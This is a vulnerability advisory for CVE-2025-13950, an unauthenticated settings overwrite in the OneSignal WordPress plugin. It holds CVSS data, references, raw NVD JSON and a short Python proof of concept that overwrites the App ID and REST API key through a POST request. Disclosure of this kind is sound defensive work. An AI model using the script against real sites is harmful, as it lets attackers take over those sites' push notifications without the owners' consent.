CVE-2025-13950

Description

The OneSignal – Web Push Notifications plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the settings handling functionality in all versions up to, and including, 3.6.1. This is due to the plugin processing POST requests without verifying user capabilities or nonces. This makes it possible for unauthenticated attackers to overwrite the OneSignal App ID, REST API key, and notification behavior via direct POST requests.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OneSignal WordPress Plugin <= 3.6.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

url = 'http://target-wordpress-site/wp-admin/admin-ajax.php'
data = {
    'action': 'onesignal_settings',
    'onesignal_app_id': 'malicious_app_id',
    'onesignal_rest_api_key': 'malicious_api_key'
}

response = requests.post(url, data=data)
print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13950/
[4] VulDB https://vuldb.com/cve/CVE-2025-13950
[5] https://github.com/OneSignal/OneSignal-WordPress-Plugin/pull/387/files
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/cf2b5d05-24a3-4bc8-9dde-a7e8ce13ea16?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13950", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.810", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OneSignal – Web Push Notifications plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the settings handling functionality in all versions up to, and including, 3.6.1. This is due to the plugin processing POST requests without verifying user capabilities or nonces. This makes it possible for unauthenticated attackers to overwrite the OneSignal App ID, REST API key, and notification behavior via direct POST requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/OneSignal/OneSignal-WordPress-Plugin/pull/387/files", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf2b5d05-24a3-4bc8-9dde-a7e8ce13ea16?source=cve", "source": "[email protected]"}]}}